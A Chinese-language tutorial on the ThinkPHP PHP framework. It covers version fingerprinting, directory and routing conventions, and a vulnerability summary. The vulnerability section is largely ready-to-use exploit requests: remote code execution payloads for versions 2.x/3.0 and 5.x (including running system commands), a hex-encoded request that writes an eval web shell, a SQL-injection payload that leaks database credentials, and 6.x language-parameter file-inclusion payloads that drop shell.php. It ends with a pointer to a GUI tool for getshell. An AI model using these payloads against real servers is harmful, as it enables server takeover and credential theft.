开发框架简单来说可以理解为:为了方便开发而提前设计好的一种开发模式,例如就文件上传的功能而言,如果你自己开发一个这样的功能,可能就需要写很多功能代码,而如果你采用的开发框架,可能某个函数就是最初设计好的进行文件上传功能,那你在需要这个功能的时候,就只需要调用某个函数即可。
TP(THINKPHP)
基本介绍
ThinkPHP是一个轻量级国产PHP开发框架,支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
目前版本信息:ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。
由于其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。所以使用较广泛,常见于一些违法网站。
指纹识别
FingerprintHub | 侦查守卫(ObserverWard)的指纹库
1、icon判断
2、报错界面
3、错误传参
4、特殊指纹出现logo
/?c=4e5e5d7364f443e28fbf0d3ae744a59a
或者/4e5e5d7364f443e28fbf0d3ae744a59a 等等类似,当thinkphp站点控制器名字是4e5e5d7364f443e28fbf0d3ae744a59a的时候就会显示一个logo出来
5、body特征
body里有”十年磨一剑” 或者”ThinkPHP”
6、请求路径
比如网站路径/index/index/index
或 m=&c=&a=
(符合是否符合MCA模式)
Thinkphp架构特性
详情见官方文档: ThinkPHP5.0入门实例教程 · 看云、thinkphp中的常见特性
1、目录结构:3版本的所有的文件包括代码,日志,入口文件等均在网站根目录;5和6版本以public
文件作为网站根目录,里面只有入口php文件,其余文件都放在上级目录。
2、访问模式:3版本主要访问模式以index.php?m=模块&c=控制器&a=方法
为主,也支持其他模式,默认模块为home
;5和6版本移除了mca模式,主要以pathinfo模式index.php/模块/控制器/方法
为主。 5+的默认模块为index
,其中兼容模式: index.php?s=模块/控制器/方法
;rewrite模式: 重写路由的自定义访问模式
例如:按照ThinkPHP的规定,下面的url其实是直接执行了d:/xampp/htdocs/thinkphp5/public/index.php
这个文件,hinkPHP的开发团队在这个文件中写了一些特定的代码,这些代码最终自动调用了d:/xampp/htdocs/thinkphp5/application/index/controller/index.php
中的index()
方法
3、配置文件:3版本-Conf/convention.php;5版本-应用配置: config/app.php
数据库配置: config/database.php
漏洞分析
Think PHP漏洞总结(全系列) – lingzhi_sec – 博客园
1、ThinkPHP 2.x/3.0 RCE
ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行 – FreeBuf网络安全行业门户
漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。且3版本中未进行修复。常见验证:
index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}
如:
http://192.168.1.21:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.1.21:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}
2、ThinkPHP 5.x RCE
由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。
验证:http://192.168.1.21:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
RCE:http://192.168.1.21:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入shell:http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e
3、 Thinkphp5 SQL注入和敏感信息泄露
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响范围:ThinkPHP < 5.1.23
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
4、ThinkPHP6 多语言本地文件包含漏洞(lang-rce)
影响范围:6.0.1 ≤ ThinkPHP ≤ 6.0.13、ThinkPHP 5.0.x、ThinkPHP 5.1.x
当多语言特性被开启时,攻击者可以使用lang
参数来包含任意PHP文件
payload:
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
成功后访问shell.php文件 可以看到phpinfo
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval($_REQUEST['ailx10']);?>+shell.php HTTP/1.1
工具一把梭
GitHub – Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,各版本TP漏洞检测,命令执行,getshell。